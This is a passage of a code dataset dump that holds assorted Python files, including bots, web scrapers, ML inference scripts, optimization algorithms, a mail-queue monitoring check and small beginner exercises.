%s\", self.__certificate)\n\n def run(self):\n self.logger.debug(\"Start wait\")\n time.sleep(1)\n self.logger.debug(\"End wait\")\n self.__bot.setWebhook(self.__url, self.__certificate)\n self.logger.debug(\"End set\")\n\n\nclass PollingServer(stoppable_thread.StoppableThread):\n def __init__(self, bot, sleep_time=2):\n super(PollingServer, self).__init__()\n self.name = \"Thread-PollingServer\"\n self.bot = bot\n self.sleep_time = sleep_time\n\n def run(self):\n self.bot.setWebhook(\"\")\n while self.can_loop():\n list_updates = self.bot.getUpdates()\n self.bot.add_updates(list_updates)\n time.sleep(self.sleep_time)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"17401202","text":"# import torch\n# import torch.backends.cudnn as cudnn\nfrom utils.parser import parse_arguments\n# import utils.utils as utils\nfrom simclr import SimCLR\n\n\ndef main():\n config = parse_arguments()\n # utils.manage_GPU(config)\n # It’s a no-op if the 'gpu_index' argument is a negative integer or None.\n # with torch.cuda.device(args.gpu_index):\n simclr = SimCLR(config)\n simclr.train()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"353260888","text":"from sqlalchemy import func\r\nfrom geoalchemy2.shape import to_shape\r\n\r\n\r\nclass GISHelper:\r\n @staticmethod\r\n def bounds_to_box(bounds):\r\n points = bounds.split(',')\r\n\r\n if len(points) < 4:\r\n return None\r\n\r\n box = 'BOX(' + points[1] + ' ' + points[0] + ',' + \\\r\n points[3] + ' ' + points[2] + ')'\r\n\r\n return box\r\n\r\n @staticmethod\r\n def make_bound_box(box):\r\n return func.ST_Envelope(\r\n func.box2d(box),\r\n srid=4326)\r\n\r\n @staticmethod\r\n def point_to_latlng_dict(value):\r\n \"\"\"\r\n Convert PostGIS POINT Geometry to {lat=pt.y,lng=pt.x}\r\n \"\"\"\r\n point = to_shape(value)\r\n return dict(lat=point.y, lng=point.x)\r\n","sub_path":"app/utils/gis_helper.py","file_name":"gis_helper.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"384895965","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom Jav.items import JavItem\n\nclass Jav1Spider(scrapy.Spider):\n name = 'jav1'\n allowed_domains = ['javdb1.com']\n start_urls = ['https://javdb1.com/actors?page=1', 'https://javdb1.com/actors?page=2']\n base_url = 'https://javdb1.com'\n headers = {\n 'USER_AGENT' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36',\n }\n def parse(self, response):\n url_list =response.xpath('//div[@class=\"box actor-box\"]/a/@href').extract()\n for url in url_list:\n url = self.base_url + url\n yield scrapy.Request(url=url, callback=self.parse_actor, dont_filter=True)\n\n def parse_actor(self, response):\n url_list =response.xpath('//div[@class=\"masonry-container\"]/div/a/@href').extract()\n for url in url_list:\n url = self.base_url + url\n yield scrapy.Request(url=url, callback=self.parse_meg, dont_filter=True)\n \n \n def parse_meg(self, response):\n item = JavItem()\n item['veido_name'] = response.xpath('//h2[@class=\"title is-4\"]/strong/text()').extract_first()\n item['veido_poster'] = response.xpath('//img[@class=\"box video-cover\"]/@src').extract_first()\n item_list = response.xpath('//span[@class=\"value\"]')\n item['actor_mash'] = item_list[0].xpath('string(.)').extract()[0]\n item['actor_time'] = item_list[1].xpath('string(.)').extract()[0]\n item['vedio_time'] = item_list[2].xpath('./text()').extract_first()\n item['series'] = item_list[6].xpath('string(.)').extract()[0]\n item['vedio_type'] = item_list[7].xpath('string(.)').extract()[0]\n item['actor_name'] = item_list[8].xpath('string(.)').extract()[0]\n try:\n item['magnet'] = response.xpath('//table//a/@href').extract()\n except Exception as e:\n item['magnet'] = [e]\n finally:\n yield item\n \n","sub_path":"scrapy_test/Jav/Jav/spiders/jav1.py","file_name":"jav1.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"372109922","text":"# 1- girilen iki sayıdan hangisi büyük\r\n# a=int(input(\"1.sayı: \"))\r\n# b=int(input(\"2.sayı: \"))\r\n# result=(a>b)\r\n# print(f\"1.sayı :{a}, 2. sayıdan: {b} büyüktür: {result} \")\r\n\r\n# 2- kullanıcıdan 2 vize(%60) ve final(%40) notunu alıp ortalama hesaplayınız\r\n# vize1=float(input(\"vize1 gir: \"))\r\n# vize2=float(input(\"vize2 gir: \"))\r\n# final=float(input(\"final gir: \"))\r\n# result=(((vize1+vize2)/2)*0.6)+(final*0.4)\r\n\r\n# Eğer ortalama 50 ve üst,ndeyse geçti değilse kaldı yazdırın\r\n# if (result>=50):\r\n# print(\"Geçtiniz\")\r\n# else:\r\n# print(\"kaldınız...\") \r\n\r\n# print(f\"not ortalamanız:{result} ve dersten geçme durumunuz: {result>=50}\")\r\n\r\n# 3- girilen sayının tek mi çift mi olduğunu kontrol ediniz.\r\n# a=int(input(\"1 sayı giriniz: \"))\r\n# result=a%2\r\n# # if (result==0):\r\n# # print(\"Girilen sayı çifttir\")\r\n# # else:\r\n# # print(\"Girilen sayı tektir\")\r\n\r\n# print(f\"Girilen sayının çift olma durumu: {result==0}\")\r\n\r\n# 4- girilen bir sayının negatif pozitif durumunu yazdırın\r\n# a=int(input(\"1 sayı giriniz: \"))\r\n# # if (a>=0):\r\n# # print(\"Girilen sayı Pozitiftir\")\r\n# # else:\r\n# # print(\"Girilen sayı Negatiftir\")\r\n# print(f\"Girilen sayını pozitif olma durumu: {a>=0}\")\r\n\r\n\r\n# 5- parola ve email bilgisini isteyip doğruluğunu kontrol ediniz\r\n# email:zeron1g2k@gmail.com parola:123456\r\n# email=input(\"email Giriniz:..@..: \")\r\n# parola=input(\"Parola Giriniz: \")\r\n\r\n# if (email==\"zeron1g2k@gmail.com\") and (parola==\"123456\"):\r\n# print(\"Sisteme Girişiniz başarılı\")\r\n# else:\r\n# print (\"Tekrar deneyiniz..\")\r\n\r\nemail=\"zeron1g2k@gmail.com\"\r\nparola=\"123\"\r\n\r\ng_mail=input(\"email Giriniz:..@..: \")\r\ng_parola=input(\"Parola Giriniz: \")\r\n\r\ns_mail=(email==g_mail.upper().strip()) # büyük küçük önemsememesi için girilen değeri küçük harf yapıyoruz ve boşlıkları kaldırıyoruz..\r\ns_parola=(parola==g_parola.upper().strip())\r\n\r\nprint(f\"Email bilgisi doğru mu: {s_mail} ve parola doğru mu: {s_parola}\")\r\n\r\n\r\n#print(result)","sub_path":"comparison._demo.py","file_name":"comparison._demo.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"221520866","text":"#!/usr/bin/env python\n\nimport subprocess\nimport datetime\n\nfrom sensu_plugin import SensuPluginCheck\n\n\nclass MailqSize(SensuPluginCheck):\n def setup(self):\n self.parser.add_argument(\n '--ignore-quota',\n action='store_true',\n help=('don\\'t count over quota messages')\n )\n\n self.parser.add_argument(\n '-p',\n '--mailq-path',\n default='/usr/bin/mailq',\n help=('Path to the postfix mailq binary.'\n 'Defaults to /usr/bin/mailq')\n )\n\n self.parser.add_argument(\n '-w',\n '--warning',\n type=int,\n default=30,\n help=('Number of messages in the queue considered to be a warning')\n )\n\n self.parser.add_argument(\n '-c',\n '--critical',\n type=int,\n default=40,\n help=('Number of messages in the queue considered to be an error')\n )\n\n def call_mailq(self):\n '''\n Call mailq and return stdout as a string\n '''\n cmd = subprocess.Popen(\n [self.options.mailq_path],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE\n )\n stdout, stderr = cmd.communicate()\n return stdout.strip()\n\n def remove_over_quota(self, msgs):\n msgs_filtered = {}\n for queue_id, data in msgs.items():\n if 'quota' not in data['reason']:\n msgs_filtered[queue_id] = data\n\n return msgs_filtered\n\n def parse_mq(self):\n '''\n Parse mailq output and return data as a dict.\n '''\n mailq_stdout = self.call_mailq()\n curmsg = None\n msgs = {}\n for line in mailq_stdout.splitlines():\n if not line or line[:10] == '-Queue ID-' or line[:2] == '--':\n continue\n if line[0] in '0123456789ABCDEF':\n s = line.split()\n curmsg = s[0]\n if curmsg[-1] == '*':\n status = 'active'\n curmsg = curmsg[:-1]\n else:\n status = 'deferred'\n msgs[curmsg] = {\n 'size': s[1],\n 'rawdate': ' '.join(s[2:6]),\n 'sender': s[-1],\n 'reason': '',\n 'status': status,\n }\n msgs[curmsg]['date'] = datetime.datetime.strptime(\n msgs[curmsg]['rawdate'], '%a %b %d %H:%M:%S')\n elif '@' in line: # XXX: pretty dumb check\n msgs[curmsg]['recipient'] = line.strip()\n elif line.lstrip(' ')[0] == '(':\n msgs[curmsg]['reason'] = line.strip()[1:-1].replace('\\n', ' ')\n return msgs\n\n def run(self):\n '''\n Main function\n '''\n\n # Load messages\n msgs = {}\n msgs.update(self.parse_mq())\n\n # remove unimportant messages\n if self.options.ignore_quota:\n msgs = self.remove_over_quota(msgs)\n\n queue_size = len(msgs.keys())\n if queue_size > self.options.critical:\n self.critical(\n '{} messages in queue after possible filters'.format(\n queue_size)\n )\n elif queue_size > self.options.warning:\n self.warning(\n '{} messages in queue after possible filters'.format(\n queue_size)\n )\n else:\n self.ok(\n '{} messages in queue after possible filters'.format(\n queue_size)\n )\n\nif __name__ == \"__main__\":\n f = MailqSize()\n","sub_path":"postfix/check-mailq-size.py","file_name":"check-mailq-size.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"40979444","text":"from pytorch_pretrained_bert.modeling import BertForSequenceClassification\nfrom pytorch_pretrained_bert.file_utils import PYTORCH_PRETRAINED_BERT_CACHE\nfrom pytorch_pretrained_bert.tokenization import BertTokenizer\nimport argparse\nimport os\nfrom os.path import dirname, abspath\nfrom train_predictor import QqpProcessor, convert_examples_to_features, InputExample\nimport torch\nfrom torch.utils.data import TensorDataset, DataLoader, SequentialSampler\nfrom tools import *\n\noutput_modes = { \n \"qqp\": \"classification\",\n}\n\ndo_eval = True\nNO_CUDA = True\nOUTPUT_MODE = \"classification\"\nMAX_SEQ_LENGTH = 256\nLOCAL_RANK = -1\nBERT_MODEL = \"bert-base-uncased\"\nDO_LOWER_CASE = True\nLOAD_DIR = \"checkpoints/predictor/save_step_15120\"\n\nROOT_FILE_PATH = dirname(abspath(__file__))\nload_dir = os.path.join(ROOT_FILE_PATH, LOAD_DIR)\ndevice = torch.device('cpu')\nparser = argparse.ArgumentParser()\nargs = parser.parse_args()\nargs.do_eval = do_eval\nargs.bert_model = BERT_MODEL\nargs.no_cuda = NO_CUDA\nargs.max_seq_length = MAX_SEQ_LENGTH\nargs.do_lower_case = DO_LOWER_CASE\ncache_dir = os.path.join(str(PYTORCH_PRETRAINED_BERT_CACHE), 'distributed_{}'.format(LOCAL_RANK))\n\nturn_data = {\"turn_num\" : 0,\n \"text_m\": \"no information\",\n \"text_a\": \"conversation start\",\n \"text_b\": \"hello good day\"}\n\n\ndef boot_model():\n processor = QqpProcessor()\n label_list = processor.get_labels()\n num_labels = len(label_list)\n model = BertForSequenceClassification.from_pretrained(load_dir, cache_dir=cache_dir, num_labels=num_labels)\n tokenizer = BertTokenizer.from_pretrained(args.bert_model, do_lower_case=args.do_lower_case)\n return model, tokenizer, label_list, label_list\n\n\ndef predict(turn_data, model, tokenizer, label_list):\n examples = []\n set_type = \"dev\"\n file_name = \"whatever\"\n guid = \"%s-%s\" % (set_type, file_name)\n\n label = []\n examples.append(InputExample(file=file_name, turn=turn_data[\"turn_num\"], guid=guid, \\\n text_m=turn_data[\"text_m\"], text_a=turn_data[\"text_a\"], text_b=turn_data[\"text_b\"], label=label))\n\n eval_features = convert_examples_to_features(\n examples, label_list, args.max_seq_length, tokenizer, OUTPUT_MODE)\n\n all_input_ids = torch.tensor([f.input_ids for f in eval_features], dtype=torch.long)\n all_input_mask = torch.tensor([f.input_mask for f in eval_features], dtype=torch.long)\n all_segment_ids = torch.tensor([f.segment_ids for f in eval_features], dtype=torch.long)\n\n input_ids = all_input_ids.to(device)\n input_mask = all_input_mask.to(device)\n segment_ids = all_segment_ids.to(device)\n\n with torch.no_grad():\n logits = model(input_ids, segment_ids, input_mask, labels=None)\n logits = torch.sigmoid(logits)\n preds = (logits > 0.4).float()\n preds_numpy = preds.cpu().long().data.numpy()\n preds_strings = convert_act_ids_to_names(preds_numpy[0])\n return preds_strings\n\n\nmodel, tokenizer, processor, label_list = boot_model()\npreds_strings = predict(turn_data, model, tokenizer, label_list)\nprint(preds_strings)\n","sub_path":"predictor_runner.py","file_name":"predictor_runner.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"257947678","text":"#Insertion sort\ndef insertion_sort(alist):\n for index in range(1,len(alist)):\n current_value = alist[index]\n pos = index\n\n while pos > 0 and alist[pos-1] > alist[pos]:\n alist[pos], alist[pos-1] = alist[pos-1], alist[pos]\n pos -=1\ndef baseConverter(num,base):\n\n stack = []\n digits = '0123456789ABCDEF'\n while num > 0:\n rem = num % 2\n stack.append(rem)\n num = num // base\n\n bits = ''\n while len(stack) != 0:\n bits += digits[stack.pop()]\n return bits\n\n\ndef main():\n\n alist = [54,26,93,17,77,31,44,55,20]\n # insertion_sort(alist)\n # print(alist)\n print(baseConverter(233,2))\n\nmain()\n","sub_path":"sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"331302293","text":"#!/usr/bin/python\n#-*-encoding:utf-8-*-\nimport sqlite3\nimport os\nimport sys\nfrom optparse import OptionParser\n\n# parse commandline arguments\nop = OptionParser()\nop.add_option(\"-m\",\n dest=\"MODEL_PATH\", default=\"model\",\n help=\"The input model directory\")\nop.add_option(\"-r\",\n dest=\"relevance_feedback\", action=\"store_true\", default=False,\n help=\"turn on the relevance feedback in program.\")\nop.add_option(\"-i\",\n dest=\"QUERY_PATH\", default=\"queries/query-jacky.xml\",\n help=\"The input query file.\")\nop.add_option(\"-o\",\n dest=\"OUTPUT_PATH\", type=str, default=\"./output/output.csv\",\n help=\"The output ranked list file.\")\nop.add_option(\"-d\", \n\t\t\t dest=\"NTCIR_PATH\", type=str, default=\"./CIRB010\",\n help=\"The directory of NTCIR documents.\")\n(opts, args) = op.parse_args()\n\n\ndb_name = 'test.db'\ntb_name = \"VOCAB\"\n\nSCRIPT_PATH = os.path.abspath(os.path.dirname(sys.argv[0]))\nVOCAB_FILE_PATH = os.path.join(SCRIPT_PATH, opts.MODEL_PATH, \"vocab.all\")\nDB_PATH = os.path.join(SCRIPT_PATH, \"test.db\")\n\n# open database\nconn = sqlite3.connect(db_name)\n#print (\"Opened database successfully\")\n\n\ntry:\n # drop and create table\n\tconn.execute(\"DROP table \"+ tb_name +\";\")\n\tconn.commit()\n\t#print (\"Table deleted successfully\")\nexcept:\n pass\n\n# create table\nconn.execute('''CREATE TABLE VOCAB\n (vocab_id INTEGER PRIMARY KEY AUTOINCREMENT,\n vocab char(60) NOT NULL);''')\n\n\nline_num = 1\nwith open(VOCAB_FILE_PATH) as f :\n\tfor line in f.readlines():\t\t\n\t\t#print (line_num)\n\t\tline = line.replace(\"\\n\", \"\")\n\t\tconn.text_factory = str \n\t\tif line_num == 1902:\n\t\t\tconn.execute(\"INSERT INTO VOCAB (vocab) VALUES (\\'\"+ line + \"\\')\");\t\t\t\t\t\t\n\t\telse:\n\t\t\tconn.execute(\"INSERT INTO VOCAB (vocab) VALUES (\\\"\"+ line + \"\\\")\");\t\t\t\t\t\t\n\t\t\n\t\tline_num += 1\n\nprint (\"Table VOCAB created successfully\")\n\n# id minus 1 (start from 0)\nconn.execute(\"UPDATE VOCAB set vocab_id = vocab_id - 1\")\nconn.commit()\n\n\nconn.close()","sub_path":"hw2/create_vocab_tb.py","file_name":"create_vocab_tb.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"487751343","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object): # O(log n) where n: number of tree nodes\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n if root is None:\n return None\n\n ret1, ret2 = None, None\n\n if min(p.val, q.val) < root.val:\n ret1 = self.lowestCommonAncestor(root.left, p, q)\n\n if max(p.val, q.val) > root.val:\n ret2 = self.lowestCommonAncestor(root.right, p, q)\n\n if ret1 is not None and ret2 is not None:\n return root\n\n if (root.val == p.val or root.val == q.val) and (ret1 is not None or ret2 is not None): # case: node descendant of itself\n return root\n\n if ret1 is not None:\n return ret1\n\n if ret2 is not None:\n return ret2\n\n if root.val == p.val or root.val == q.val:\n return root\n\n return None\n","sub_path":"leetcode_lowest_common_ancestor_binary_search_tree.py","file_name":"leetcode_lowest_common_ancestor_binary_search_tree.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"467470519","text":"import sys\nimport falcon, wsgiref.simple_server\nimport middleware.authentication, falconjsonio.middleware\nimport resources.users\nimport voluptuous\n\ndef validate_JSON_with_voluptuous(obj, schema):\n schema(obj)\n\n# WSGI app\napp = falcon.API(\n middleware=[\n middleware.authentication.Authentication(),\n falconjsonio.middleware.RequireJSON(),\n falconjsonio.middleware.JSONTranslator(\n validator=(validate_JSON_with_voluptuous, voluptuous.Invalid)\n )\n ],\n)\n\n# Application resources\ndb = {}\nusers = resources.users.Users(db)\nuser = resources.users.User(db)\n\n# Routes to resources\napp.add_route('/users', users)\napp.add_route('/users/{uid}', user)\n\nif __name__ == '__main__':\n host = sys.argv[1]\n port = int(sys.argv[2])\n httpd = wsgiref.simple_server.make_server(host, port, app)\n httpd.serve_forever()\n","sub_path":"my_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"220774596","text":"import pandas as pd\n\nfrom base.logics import Logic\nfrom common.models import TaxOffice\n\nTAX_OFFICE_NAME_MAPPING = {\n '서울청': '서울지방국세청',\n '중부청': '중부지방국세청',\n '대전청': '대전지방국세청',\n '광주청': '광주지방국세청',\n '대구청': '대구지방국세청',\n '부산청': '부산지방국세청'\n}\n\n\nclass BuildTaxOffice(Logic):\n def __init__(self, path='common/data/tax_office_data.csv'):\n self.path = path\n\n def do(self):\n data_frame = pd.read_csv(self.path, sep='\\t')\n data_frame['세무서명'] = data_frame['세무서명'].apply(\n lambda x: TAX_OFFICE_NAME_MAPPING[x] if x in TAX_OFFICE_NAME_MAPPING.keys() else '{}세무서'.format(x)\n )\n dict_data = data_frame.to_dict(orient='record')\n for data in dict_data:\n instance = TaxOffice.objects.create(\n uname=data['세무서명'], code=data['세무서코드'], account_number=data['세무서계좌번호']\n )\n","sub_path":"common/logics.py","file_name":"logics.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"451209182","text":"\"\"\"\nProximal algorithms\n\"\"\"\n\nfrom __future__ import division\nfrom .main import Optimizer\nfrom .utils import destruct, wrap\nfrom .proximal_operators import _getproxop, ProximalOperator\nimport numpy as np\nfrom collections import deque, namedtuple, defaultdict\nfrom builtins import super\n\n__all__ = ['ProximalGradientDescent', 'AcceleratedProximalGradient', 'ProximalConsensus']\n\n\nclass ProximalGradientDescent(Optimizer):\n \"\"\"\n Proximal gradient descent\n\n Parameters\n ----------\n f_df : callable\n Function that returns the objective and gradient\n\n theta_init : array_like\n Initial parameters\n\n proxop : ProximalOperator\n (e.g. from the proximal_operators module)\n\n learning_rate : float, optional\n (default: 0.001)\n\n \"\"\"\n\n def __init__(self, f_df, theta_init, proxop, learning_rate=1e-3):\n self.proxop = proxop\n self.lr = learning_rate\n\n # initializes objective and gradient\n self.obj, self.gradient = wrap(f_df, theta_init)\n super().__init__(theta_init)\n\n def __iter__(self):\n\n xk = self.theta.copy().astype('float')\n\n for k in range(self.maxiter):\n with self as state:\n grad = self.restruct(state.gradient(xk))\n xk = state.proxop(xk - state.lr * grad, 1. / state.lr)\n yield xk\n\n\nclass AcceleratedProximalGradient(Optimizer):\n \"\"\"\n Accelerated proximal gradient descent\n\n Parameters\n ----------\n f_df : callable\n Function that returns the objective and gradient\n\n theta_init : array_like\n Initial parameters\n\n proxop : ProximalOperator\n (e.g. from the proximal_operators module)\n\n learning_rate : float, optional\n (default: 0.001)\n\n \"\"\"\n\n def __init__(self, f_df, theta_init, proxop, learning_rate=1e-3):\n self.proxop = proxop\n self.lr = learning_rate\n\n self.obj, self.gradient = wrap(f_df, theta_init)\n super().__init__(theta_init)\n\n def __iter__(self):\n\n xk = self.theta.copy().astype('float')\n xprev = xk.copy()\n yk = xk.copy()\n\n for k in range(self.maxiter):\n with self as state:\n\n omega = k / (k + 3)\n\n # update y's\n yk = xk + omega * (xk - xprev)\n\n # compute the gradient\n grad = self.restruct(state.gradient(yk))\n\n # update previous\n xprev = xk\n\n # compute the new iterate\n xk = state.proxop(yk - state.lr * grad, 1. / state.lr)\n\n yield xk\n\n\nclass ProximalConsensus(Optimizer):\n \"\"\"\n Proximal Consensus (ADMM)\n\n Parameters\n ----------\n theta_init : array_like\n Initial parameters\n\n tau : (float, float, float)\n ADMM scheduling. The augmented Lagrangian quadratic penalty parameter,\n rho, is initialized to tau[0]. Depending on the primal and dual residuals,\n the parameter is increased by a factor of tau[1] or decreased by a factor\n of tau[2] at every iteration. (See Boyd et. al. 2011 for details)\n\n \"\"\"\n\n def __init__(self, theta_init, tau=(10., 2., 2.), tol=(1e-6, 1e-3)):\n\n self.operators = []\n self.tau = namedtuple('tau', ('init', 'inc', 'dec'))(*tau)\n self.tol = namedtuple('tol', ('primal', 'dual'))(*tol)\n self.gradient = None\n super().__init__(theta_init)\n\n def obj(self, x):\n return np.nansum([f.objective(self.restruct(x)) for f in self.operators])\n\n def add(self, name, *args, **kwargs):\n self.operators.append(_getproxop(name, *args, **kwargs))\n\n def __iter__(self):\n\n num_obj = len(self.operators)\n assert num_obj >= 1, \"Must be at least one objective\"\n\n # initialize\n primals = [self.theta.flatten() for _ in range(num_obj)]\n duals = [np.zeros(self.theta.size) for _ in range(num_obj)]\n theta_avg = np.mean(primals, axis=0).ravel()\n rho = self.tau.init\n\n self.resid = defaultdict(list)\n\n for k in range(self.maxiter):\n with self as state:\n\n # store the parameters from the previous iteration\n theta_prev = theta_avg\n\n # update each primal variable copy by taking a proximal step via each objective\n for varidx, dual in enumerate(duals):\n primals[varidx] = self.operators[varidx](self.restruct(theta_prev-dual), rho).ravel()\n\n # average primal copies\n theta_avg = np.mean(primals, axis=0)\n\n # update the dual variables (after primal update has finished)\n for varidx, primal in enumerate(primals):\n duals[varidx] += primal - theta_avg\n\n # compute primal and dual residuals\n primal_resid = float(np.sum([np.linalg.norm(primal - theta_avg) for primal in primals]))\n dual_resid = num_obj * rho ** 2 * np.linalg.norm(theta_avg - theta_prev)\n\n # update penalty parameter according to primal and dual residuals\n # (see sect. 3.4.1 of the Boyd and Parikh ADMM paper)\n if primal_resid > self.tau.init * dual_resid:\n rho *= float(self.tau.inc)\n elif dual_resid > self.tau.init * primal_resid:\n rho /= float(self.tau.dec)\n\n self.resid['primal'].append(primal_resid)\n self.resid['dual'].append(dual_resid)\n self.resid['rho'].append(rho)\n\n # check for convergence\n if (primal_resid <= self.tol.primal) & (dual_resid <= self.tol.dual):\n self.converged = True\n raise StopIteration(\"Converged\")\n\n # store primals\n self.primals = primals\n\n yield theta_avg\n","sub_path":"descent/proximal_algorithms.py","file_name":"proximal_algorithms.py","file_ext":"py","file_size_in_byte":5855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"53381192","text":"from skimage.io import imread, imsave\nimport matplotlib.pyplot as plt\nimport scipy.ndimage as ndimg\nfrom skimage.segmentation import find_boundaries\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\nimport torch\nimport sys\nsys.path.append('..')\nfrom loader import MyDataset\nfrom model.unet import UNet\ndef flow2msk(flow, prob, grad=1.0, area=150, volume=500):\n l = np.linalg.norm(flow, axis=-1)\n flow /= l[:,:,None]; flow[lvolume)\n lut = np.zeros(n+1, np.int32)\n lut[msk] = np.arange(1, msk.sum()+1)\n mask = lut[lab].ravel()[rst]\n return hist, lut[lab], mask\n\nif __name__ == '__main__':\n train_set = MyDataset('test', 'flow', 512)\n train_loader = DataLoader(\n train_set,\n batch_size=1,\n shuffle=False, \n num_workers=1)\n\n device = 'cuda:0'\n\n model = torch.load('pt/best.pt', map_location='cuda:0')\n model = model.eval()\n\n with torch.no_grad():\n for item in train_loader:\n\n\n x = item['x'].to(device, dtype=torch.float)\n # img_color = x.cpu().detach().numpy()[0].copy().transpose((1,2,0))*255\n pred = model(x).cpu().detach().numpy()[0]\n x = x.cpu().detach().numpy()[0].transpose((1,2,0))*255\n water, core, msk = flow2msk(\n pred.transpose(1,2,0), None, 1.0, 20, 100)\n\n edge = ~find_boundaries(msk)\n result = x.copy()\n result[edge==0] = 255\n # fig, axes = plt.subplots(2, 2)\n # ax = axes.flatten()\n # print(pred.shape) \n # ax[0].imshow(x) \n # ax[1].imshow(pred[0])\n # ax[2].imshow(msk)\n # ax[3].imshow(result)\n # for i in range(4): ax[i].set_axis_off()\n\n fig, axes = plt.subplots(1, 1)\n axes.imshow(result)\n axes.set_axis_off()\n\n fig.tight_layout()\n print(item['name'][0][:-4])\n plt.savefig('pred1/%s.jpg'%item['name'][0][:-4])\n\n # plt.show()\n plt.clf()\n","sub_path":"cell_segmentation/pred.py","file_name":"pred.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"538008189","text":"'''03_糗事百科案例.py'''\nimport requests\nfrom lxml import etree\nimport pymongo\n\nclass QiuShiSpider:\n def __init__(self):\n self.url = \"https://www.qiushibaike.com/8hr/page/1/\"\n self.headers = {\"User-Agent\":\"Mozilla/5.0\"}\n self.conn = pymongo.MongoClient(\"localhost\",27017)\n self.db = self.conn.Baikedb\n self.myset = self.db.baikeset\n \n def getPage(self):\n res = requests.get(self.url,headers=self.headers)\n res.encoding = \"utf-8\"\n html = res.text\n self.parsePage(html)\n \n def parsePage(self,html):\n parseHtml = etree.HTML(html)\n # 基准xpath,每个段子的列表\n base_list = parseHtml.xpath('//div[contains(@id,\"qiushi_tag_\")]')\n # 遍历每个段子的节点对象(base)\n for base in base_list:\n # 用户昵称\n username = base.xpath('./div/a/h2')\n if len(username) == 0:\n username = \"匿名用户\"\n else:\n username = username[0].text\n # 段子内容\n content = base.xpath('.//div[@class=\"content\"]/span')[0].text\n # 好笑数量\n # [,,]\n laughNum = base.xpath('.//i')[0].text \n # 评论数量\n pingNum = base.xpath('.//i')[1].text\n \n d = {\n \"username\":username.strip(),\n \"content\":content.strip(),\n \"laughNum\":laughNum.strip(),\n \"pingNum\":pingNum.strip()\n }\n self.myset.insert(d)\n print(\"存入数据库成功\")\n\nif __name__ == \"__main__\":\n spider = QiuShiSpider()\n spider.getPage()\n \n \n \n \n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"爬虫/Crawl/day04/03_糗事百科案例.py","file_name":"03_糗事百科案例.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"273364163","text":"#-------------------------------------------------------------------------------\n# Name: server\n#\n# Purpose: Flask server for CoASL Webinar Badges and Resources\n#\n# Author: Jeremy Nelson\n#\n# Created: 2014-01-21\n# Copyright: (c) Jeremy Nelson 2014\n# Licence: GPLv2\n#-------------------------------------------------------------------------------\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n\nimport datetime\nimport hashlib\nimport json\nimport os\nimport sys\ntry:\n import urllib.request as urllib2\nexcept ImportError:\n import urllib2\nimport uuid\n\nfrom flask import Flask, g, jsonify, redirect, render_template\nfrom flask import abort, Response, url_for\n\napp = Flask(__name__)\n\nPROJECT_ROOT = os.path.abspath(os.path.dirname(__file__))\n\nIDENTITY_SALT = 'CoASL Webinar 2014'\n\n#URL_PREFIX = \"/coasl-webinar-2014\"\nURL_PREFIX = \"\"\n\n@app.route('/coasl-webinar-participant-badge.json')\ndef badge_class():\n return jsonify({\n \"name\": \"CoASL RDA and Linked Data Webinar Participation Badge\",\n \"description\": \"\"\"This Participant Badge was issued by Jeremy Nelson and intro2libsys.info for participation in the CoASL Webinar on 